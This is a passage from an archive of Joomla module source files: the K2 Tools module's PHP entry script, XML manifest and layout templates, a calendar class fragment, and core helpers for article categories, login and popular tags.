        $s .= "<table class=\"calendar\" border=\"0\">\n";
        $s .= "<tr>";
    		$s .= "<td class=\"calendarNavMonthPrev\">" . (($prev == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$prev\">&laquo;</a>")  . "</td>\n";
        $s .= "<td class=\"calendarCurrentMonth\">" . (($this->startMonth > 1) ? $year . " - " . ($year + 1) : $year) ."</td>\n";
    		$s .= "<td class=\"calendarNavMonthNext\">" . (($next == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$next\">&raquo;</a>")  . "</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(0 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(1 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(2 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(3 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(4 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(5 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(6 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(7 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(8 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(9 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(10 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(11 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "</table>\n";

        return $s;
    }

    /*
        Adjust dates to allow months > 12 and < 0. Just adjust the years appropriately.
        e.g. Month 14 of the year 2001 is actually month 2 of year 2002.
    */
    function adjustDate($month, $year)
    {
        $a = array();
        $a[0] = $month;
        $a[1] = $year;

        while ($a[0] > 12)
        {
            $a[0] -= 12;
            $a[1]++;
        }

        while ($a[0] <= 0)
        {
            $a[0] += 12;
            $a[1]--;
        }

        return $a;
    }

    /*
        The start day of the week. This is the day that appears in the first column
        of the calendar. Sunday = 0.
    */
    var $startDay = 0;

    /*
        The start month of the year. This is the month that appears in the first slot
        of the calendar in the year view. January = 1.
    */
    var $startMonth = 1;

    /*
        The labels to display for the days of the week. The first entry in this array
        represents Sunday.
    */
    var $dayNames = array("S", "M", "T", "W", "T", "F", "S");

    /*
        The labels to display for the months of the year. The first entry in this array
        represents January.
    */
    var $monthNames = array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");

    /*
        The number of days in each month. You're unlikely to want to change this...
        The first entry in this array represents January.
    */
    var $daysInMonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

}

?>
mod_k2_tools/mod_k2_tools.php000060400000006023150746170540012251 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$module_usage = $params->get('module_usage', 0);
$authorAvatarWidthSelect = $params->get('authorAvatarWidthSelect', 'custom');
$authorAvatarWidth = $params->get('authorAvatarWidth', 50);
$button = $params->get('button');
$imagebutton = $params->get('imagebutton');
$button_pos = $params->get('button_pos', 'left');
$button_text = $params->get('button_text', JText::_('K2_SEARCH'));
$text = $params->get('text', JText::_('K2_SEARCH'));
$searchItemId = $params->get('searchItemId', '');

// API
$document = JFactory::getDocument();
$app = JFactory::getApplication();

// Output
switch ($module_usage) {
    case '0':
        $months = modK2ToolsHelper::getArchive($params);
        if (count($months)) {
            require(JModuleHelper::getLayoutPath('mod_k2_tools', 'archive'));
        }
        break;

    case '1':
        // User avatar
        if ($authorAvatarWidthSelect == 'inherit') {
            $componentParams = JComponentHelper::getParams('com_k2');
            $avatarWidth = $componentParams->get('userImageWidth');
        } else {
            $avatarWidth = $authorAvatarWidth;
        }
        $authors = modK2ToolsHelper::getAuthors($params);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'authors'));
        break;

    case '2':
        $calendar = modK2ToolsHelper::calendar($params);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'calendar'));
        break;

    case '3':
        $breadcrumbs = modK2ToolsHelper::breadcrumbs($params);
        $path = $breadcrumbs[0];
        $title = $breadcrumbs[1];
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'breadcrumbs'));
        break;

    case '4':
        $output = modK2ToolsHelper::treerecurse($params, 0, 0, true);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'categories'));
        break;

    case '5':
        echo modK2ToolsHelper::treeselectbox($params);
        break;

    case '6':
        $categoryFilter = modK2ToolsHelper::getSearchCategoryFilter($params);
        $action = JRoute::_(K2HelperRoute::getSearchRoute());
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'search'));
        break;

    case '7':
        $tags = modK2ToolsHelper::tagCloud($params);
        if (count($tags)) {
            require(JModuleHelper::getLayoutPath('mod_k2_tools', 'tags'));
        }
        break;

    case '8':
        $customcode = modK2ToolsHelper::renderCustomCode($params);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'customcode'));
        break;
}
mod_k2_tools/mod_k2_tools.xml000060400000030313150746170540012261 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Tools</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_TOOLS</description>
    <files>
        <filename module="mod_k2_tools">mod_k2_tools.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="module_usage" type="list" default="0" label="K2_SELECT_MODULE_FUNCTIONALITY" description="">
                    <option value="0">K2_ARCHIVE</option>
                    <option value="1">K2_AUTHORS_LIST</option>
                    <option value="2">K2_BLOGSTYLE_CALENDAR_NO_OPTIONS</option>
                    <option value="3">K2_BREADCRUMBS</option>
                    <option value="4">K2_CATEGORIES_LIST_MENU</option>
                    <option value="5">K2_CATEGORY_SELECT_BOX</option>
                    <option value="6">K2_SEARCH_BOX</option>
                    <option value="7">K2_TAG_CLOUD</option>
                    <option value="8">K2_CUSTOM_CODE</option>
                </field>
                <!-- K2_ARCHIVE_SETTINGS -->
                <field name="" type="header" default="K2_ARCHIVE_SETTINGS" label="" description=""/>
                <field name="archiveItemsCounter" type="radio" default="1" label="K2_ITEMS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="archiveCategory" type="categories" label="K2_CATEGORY_FILTER" description="" default=""/>
                <!-- Authors List Settings -->
                <field name="" type="header" default="K2_AUTHORS_LIST_SETTINGS" label="" description=""/>
                <field name="authors_module_category" type="categories" default="" label="K2_FILTER_AUTHORS_BY_ROOT_CATEGORY" description="K2_SELECT_THE_ROOT_CATEGORY_FOR_WHICH_YOU_WANT_TO_FILTER_AN_AUTHOR_LIST_SELECT_NONE_TO_FETCH_AUTHORS_FROM_ALL_CATEGORIES"/>
                <field name="authorItemsCounter" type="radio" default="1" label="K2_ITEMS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="authorAvatar" type="radio" default="1" label="K2_AUTHOR_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="authorAvatarWidthSelect" type="list" default="custom" label="K2_AUTHOR_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="authorAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_AUTHOR_AVATAR_IN_PX" description=""/>
                <field name="authorLatestItem" type="radio" default="1" label="K2_LATEST_ITEM_WRITTEN_BY_AUTHOR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <!-- Calendar Settings -->
                <field name="" type="header" default="K2_CALENDAR_SETTINGS" label="" description=""/>
                <field name="calendarCategory" type="categories" label="K2_CATEGORY_FILTER" description="" default=""/>
                <!-- Breadcrumbs Settings -->
                <field name="" type="header" default="K2_BREADCRUMBS_SETTINGS" label="" description=""/>
                <field name="home" type="text" default="" label="K2_ROOT_LABEL_EG_HOME" description="K2_THE_LABEL_FOR_THE_HOME_LINK_LEAVE_THIS_BLANK_IF_YOU_DONT_WISH_TO_INCLUDE_A_HOME_LINK_IN_YOUR_PATH"/>
                <field name="seperator" type="text" default="" label="K2_PATH_SEPARATOR" description="K2_THE_PATH_SEPARATOR_EG_A_RIGHT_ARROW"/>
                <!-- Categories List (Menu) Settings -->
                <field name="" type="header" default="K2_CATEGORIES_LIST_MENU_SETTINGS" label="" description=""/>
                <field name="root_id" type="categories" default="" label="K2_SELECT_ROOT_CATEGORY" description="K2_SELECT_THE_ROOT_CATEGORY_FOR_WHICH_YOU_WANT_TO_CREATE_A_CATEGORY_LIST_SELECT_NONE_TO_FETCH_A_LIST_OF_ALL_CATEGORIES"/>
                <field name="end_level" type="text" default="" size="4" label="K2_LEVELS_TO_RENDER" description="K2_SELECT_THE_NUMBER_OF_LEVELS_YOU_WISH_TO_RENDER_LEAVE_THIS_BLANK_IF_YOU_WISH_TO_RENDER_ALL_THE_LEVELS_BELOW_THE_SELECTED_ROOT_CATEGORY"/>
                <field name="categoriesListOrdering" type="list" default="" label="K2_ORDER_BY" description="">
                    <option value="">K2_DEFAULT_BY_ID_ASCENDING</option>
                    <option value="reversedefault">K2_REVERSE_DEFAULT_BY_ID_DESCENDING</option>
                    <option value="alpha">K2_NAME_ALPHABETICAL</option>
                    <option value="ralpha">K2_NAME_REVERSE_ALPHABETICAL</option>
                    <option value="order">K2_ORDERING</option>
                </field>
                <field name="categoriesListItemsCounter" type="radio" default="1" label="K2_ITEMS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <!-- Category Select Box Settings -->
                <field name="" type="header" default="K2_CATEGORY_SELECT_BOX_SETTINGS" label="" description=""/>
                <field name="root_id2" type="categories" default="" label="K2_SELECT_ROOT_CATEGORY" description="K2_SELECT_THE_ROOT_CATEGORY_FOR_WHICH_YOU_WANT_TO_CREATE_A_CATEGORY_DROPDOWN_LIST_SELECT_NONE_TO_CREATE_A_DROPDOWN_LIST_FROM_ALL_CATEGORIES"/>
                <!-- Search Box Settings -->
                <field name="" type="header" default="K2_SEARCH_BOX_SETTINGS" label="" description=""/>
                <field name="catfilter" type="radio" default="0" label="K2_CATEGORY_FILTER" description="" class="btn-group btn-group-yesno-reverse">
                    <option value="0">K2_ALL</option>
                    <option value="1">K2_SELECT</option>
                </field>
                <field name="category_id" type="categoriesmultiple" default="" label="K2_RESTRICT_SEARCH_RESULTS_TO_ONE_OR_MORE_CATEGORIES" description="K2_BY_CHOOSING_SPECIFIC_CATEGORIES_HERE_YOU_CAN_NARROW_DOWN_SEARCH_RESULTS_TO_ITEMS_BELONGING_IN_THE_SELECTED_CATEGORIES_THIS_OPTION_IS_VERY_HANDY_IF_YOU_ARE_DEVELOPING_A_WEBSITE_FOR_BOTH_GUEST_VISITORS_AND_REGISTERED_MEMBERS_EG_INTRANET_AND_YOU_WANT_TO_RESTRICT_SEARCH_RESULTS_FOR_GUEST_VISITORS_ONLY_TO_CATEGORIES_THAT_THEY_ARE_ALLOWED_TO_VIEW"/>
                <field name="getChildren" type="radio" default="0" label="K2_FETCH_ITEMS_FROM_CHILDREN_CATEGORIES" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="liveSearch" type="radio" default="0" label="K2_ENABLE_LIVE_SEARCH" description="K2_IF_YOU_ENABLE_THIS_OPTION_SEARCH_RESULTS_WILL_BE_DISPLAYED_RIGHT_BELOW_THE_SEARCH_BOX_AS_YOU_TYPE_YOUR_SEARCH_QUERY" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="text" type="text" default="" label="K2_SEARCH_BOX_DEFAULT_TEXT" description="K2_THE_TEXT_TO_DISPLAY_BY_DEFAULT_IN_THE_SEARCH_BOX"/>
                <field name="button" type="radio" default="0" label="K2_SHOW_SEARCH_BUTTON" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="imagebutton" type="radio" default="0" label="K2_SEARCH_BUTTON_AS_IMAGE" description="K2_USE_AN_IMAGE_AS_THE_SEARCH_BUTTON" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="button_text" type="text" default="" label="K2_SEARCH_BUTTON_TEXT" description="K2_SET_THE_DEFAULT_TEXT_WHICH_WILL_APPEAR_ON_THE_SEARCH_BOX_EG_SEARCH_SITE"/>
                <field name="searchItemId" type="menuitem" default="" disable="separator" label="K2_SELECT_A_MENU_ITEM" description="K2_SELECT_A_MENU_ITEM_DESCRIPTION">
                    <option value="">K2_NONE_ONSELECTLISTS</option>
                </field>
                <!-- Tag Cloud Settings -->
                <field name="" type="header" default="K2_TAG_CLOUD_SETTINGS" label="" description=""/>
                <field name="min_size" type="text" default="75" size="4" label="K2_MIN_FONT_SIZE" description="K2_FONT_SIZE_FOR_LESS_POPULAR_TAGS"/>
                <field name="max_size" type="text" default="300" size="4" label="K2_MAX_FONT_SIZE" description="K2_FONT_SIZE_FOR_MOST_POPULAR_TAGS"/>
                <field name="cloud_limit" type="text" default="30" size="4" label="K2_TAG_LIMIT_X_MOST_POPULAR" description="K2_SELECT_THE_X_MOST_POPULAR_TAGS_TO_DISPLAY"/>
                <field name="cloud_category" type="categories" multiple="multiple" default="0" label="K2_FILTER_TAGS_FROM_ONE_OR_MORE_CATEGORIES" description="K2_TO_SELECT_MULTIPLE_CATEGORIES_PRESS_AND_KEEP_CTRLCMD_AND_THEN_CLICK_ON_THE_DESIRED_CATEGORIES"/>
                <field name="cloud_category_recursive" type="radio" default="0" label="K2_APPLY_TAG_CATEGORY_FILTER_RECURSIVELY_TO_ALL_SUBCATEGORIES" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <!-- Custom code settings -->
                <field name="" type="header" default="K2_CUSTOM_CODE_SETTINGS" label="" description=""/>
                <field name="customCode" type="textarea" filter="raw" default="" label="K2_ADD_CUSTOM_HTML_CSS_JS_OR_PHP_CODE" description="" cols="60" rows="20" />
                <field name="parsePhp" type="radio" default="0" label="K2_PARSE_PHP_CODE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="K2Plugins" type="radio" default="0" label="K2_ENABLE_K2_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="JPlugins" type="radio" default="0" label="K2_ENABLE_JOOMLA_CONTENT_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>
mod_k2_tools/tmpl/archive.php000060400000001465150746170540012260 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2ArchivesBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <ul>
        <?php foreach ($months as $month): ?>
        <li>
            <a href="<?php echo $month->link; ?>">
                <?php echo $month->name.' '.$month->y; ?>
                <?php if ($params->get('archiveItemsCounter')) echo ' ('.$month->numOfItems.')'; ?>
            </a>
        </li>
        <?php endforeach; ?>
    </ul>
</div>
mod_k2_tools/tmpl/customcode.php000060400000000773150746170540013005 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2CustomCodeBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $customcode; ?>
</div>
mod_k2_tools/tmpl/calendar.php000060400000001023150746170540012376 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2CalendarBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $calendar; ?>
    <div class="clr"></div>
</div>
mod_k2_tools/tmpl/breadcrumbs.php000060400000002464150746170540013130 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

$output = '';
if ($params->get('home')) {
    $output .= '<span class="bcTitle">'.JText::_('K2_YOU_ARE_HERE').'</span><a href="'.JURI::root().'">'.$params->get('home', JText::_('K2_HOME')).'</a>';
    if (count($path)) {
        foreach ($path as $link) {
            $output .= '<span class="bcSeparator">'.$params->get('seperator', '&raquo;').'</span>'.$link;
        }
    }
    if ($title) {
        $output .= '<span class="bcSeparator">'.$params->get('seperator', '&raquo;').'</span>'.$title;
    }
} else {
    if ($title) {
        $output .= '<span class="bcTitle">'.JText::_('K2_YOU_ARE_HERE').'</span>';
    }
    if (count($path)) {
        foreach ($path as $link) {
            $output .= $link.'<span class="bcSeparator">'.$params->get('seperator', '&raquo;').'</span>';
        }
    }
    $output .= $title;
}

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2BreadcrumbsBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $output; ?>
</div>
mod_k2_tools/tmpl/authors.php000060400000003601150746170540012316 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2AuthorsListBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <ul>
        <?php foreach ($authors as $author): ?>
        <li>
            <?php if ($params->get('authorAvatar')): ?>
            <a class="k2Avatar abAuthorAvatar" rel="author" href="<?php echo $author->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($author->name); ?>">
                <img src="<?php echo $author->avatar; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($author->name); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <a class="abAuthorName" rel="author" href="<?php echo $author->link; ?>">
                <?php echo $author->name; ?>
                <?php if ($params->get('authorItemsCounter')): ?>
                <span>(<?php echo $author->items; ?>)</span>
                <?php endif; ?>
            </a>

            <?php if ($params->get('authorLatestItem')): ?>
            <a class="abAuthorLatestItem" href="<?php echo $author->latest->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($author->latest->title); ?>">
                <?php echo $author->latest->title; ?>
                <span class="abAuthorCommentsCount">(<?php echo $author->latest->numOfComments; ?> <?php if($author->latest->numOfComments=='1') echo JText::_('K2_MODK2TOOLS_COMMENT'); else echo JText::_('K2_MODK2TOOLS_COMMENTS'); ?>)</span>
            </a>
            <?php endif; ?>
        </li>
        <?php endforeach; ?>
    </ul>
</div>
mod_k2_tools/tmpl/categories.php000060400000000773150746170540012765 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2CategoriesListBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $output; ?>
</div>
mod_k2_tools/tmpl/search.php000060400000004545150746170540012106 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

/*
 * Important note for template overrides:
 * If you wish to use the live search option, you MUST maintain
 * the same class names for wrapping elements, e.g. the wrapping div and form.
*/

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2SearchBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); if($params->get('liveSearch')) echo ' k2LiveSearchBlock'; ?>">
    <form action="<?php echo $action; ?>" method="get" autocomplete="off" class="k2SearchBlockForm">
        <input type="text" value="<?php echo $text; ?>" name="searchword" class="inputbox" onblur="if(this.value=='') this.value='<?php echo $text; ?>';" onfocus="if(this.value=='<?php echo $text; ?>') this.value='';" />

        <?php if($button): ?>
        <?php if($imagebutton): ?>
        <input type="image" alt="<?php echo $button_text; ?>" class="button" onclick="this.form.searchword.focus();" src="<?php echo JURI::base(true); ?>/components/com_k2/images/search.png" />
        <?php else: ?>
        <input type="submit" value="<?php echo $button_text; ?>" class="button" onclick="this.form.searchword.focus();" />
        <?php endif; ?>
        <?php endif; ?>

        <?php if($categoryFilter): ?>
        <input type="hidden" name="categories" value="<?php echo $categoryFilter; ?>" />
        <?php endif; ?>

        <?php if(!$app->getCfg('sef')): ?>
        <input type="hidden" name="option" value="com_k2" />
        <input type="hidden" name="view" value="itemlist" />
        <input type="hidden" name="task" value="search" />
        <?php endif; ?>

        <?php if($params->get('liveSearch')): ?>
        <input type="hidden" name="format" value="html" />
        <input type="hidden" name="t" value="" />
        <input type="hidden" name="tpl" value="search" />
        <?php endif; ?>

        <?php if($searchItemId): ?>
        <input type="hidden" name="Itemid" value="<?php echo $searchItemId;?>" />
        <?php endif; ?>
    </form>

    <?php if($params->get('liveSearch')): ?>
    <div class="k2LiveSearchResults"></div>
    <?php endif; ?>
</div>
mod_k2_tools/tmpl/tags.php000060400000001541150746170540011570 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2TagCloudBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php foreach ($tags as $tag): ?>
    <?php if(!empty($tag->tag)): ?>
    <a href="<?php echo $tag->link; ?>" style="font-size:<?php echo $tag->size; ?>%" title="<?php echo $tag->count.' '.JText::_('K2_ITEMS_TAGGED_WITH').' '.K2HelperUtilities::cleanHtml($tag->tag); ?>">
        <?php echo $tag->tag; ?>
    </a>
    <?php endif; ?>
    <?php endforeach; ?>
    <div class="clr"></div>
</div>
mod_articles_categories/helper.php000064400000002010150746170540013410 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_articles_categories
 *
 * @since  1.5
 */
abstract class ModArticlesCategoriesHelper
{
	/**
	 * Get list of articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$options               = array();
		$options['countItems'] = $params->get('numitems', 0);

		$categories = JCategories::getInstance('Content', $options);
		$category   = $categories->get($params->get('parent', 'root'));

		if ($category !== null)
		{
			$items = $category->getChildren();

			$count = $params->get('count', 0);

			if ($count > 0 && count($items) > $count)
			{
				$items = array_slice($items, 0, $count);
			}

			return $items;
		}
	}
}
mod_login/helper.php000064400000003131150746170540010512 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_login
 *
 * @since  1.5
 */
class ModLoginHelper
{
	/**
	 * Retrieve the URL where the user should be returned after logging in
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 * @param   string                     $type    return type
	 *
	 * @return string
	 */
	public static function getReturnUrl($params, $type)
	{
		$app  = JFactory::getApplication();
		$item = $app->getMenu()->getItem($params->get($type));

		// Stay on the same page
		$url = JUri::getInstance()->toString();

		if ($item)
		{
			$lang = '';

			if ($item->language !== '*' && JLanguageMultilang::isEnabled())
			{
				$lang = '&lang=' . $item->language;
			}

			$url = 'index.php?Itemid=' . $item->id . $lang;
		}

		return base64_encode($url);
	}

	/**
	 * Returns the current users type
	 *
	 * @return string
	 */
	public static function getType()
	{
		$user = JFactory::getUser();

		return (!$user->get('guest')) ? 'logout' : 'login';
	}

	/**
	 * Get list of available two factor methods
	 *
	 * @return array
	 *
	 * @deprecated  4.0  Use JAuthenticationHelper::getTwoFactorMethods() instead.
	 */
	public static function getTwoFactorMethods()
	{
		JLog::add(__METHOD__ . ' is deprecated, use JAuthenticationHelper::getTwoFactorMethods() instead.', JLog::WARNING, 'deprecated');

		return JAuthenticationHelper::getTwoFactorMethods();
	}
}
mod_tags_popular/helper.php000064400000010236150746170540012106 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_tags_popular
 *
 * @since  3.1
 */
abstract class ModTagsPopularHelper
{
	/**
	 * Get list of popular tags
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 *
	 * @since   3.1
	 */
	public static function getList(&$params)
	{
		$db          = JFactory::getDbo();
		$user        = JFactory::getUser();
		$groups      = implode(',', $user->getAuthorisedViewLevels());
		$timeframe   = $params->get('timeframe', 'alltime');
		$maximum     = $params->get('maximum', 5);
		$order_value = $params->get('order_value', 'title');
		$nowDate     = JFactory::getDate()->toSql();
		$nullDate    = $db->quote($db->getNullDate());

		$query = $db->getQuery(true)
			->select(
				array(
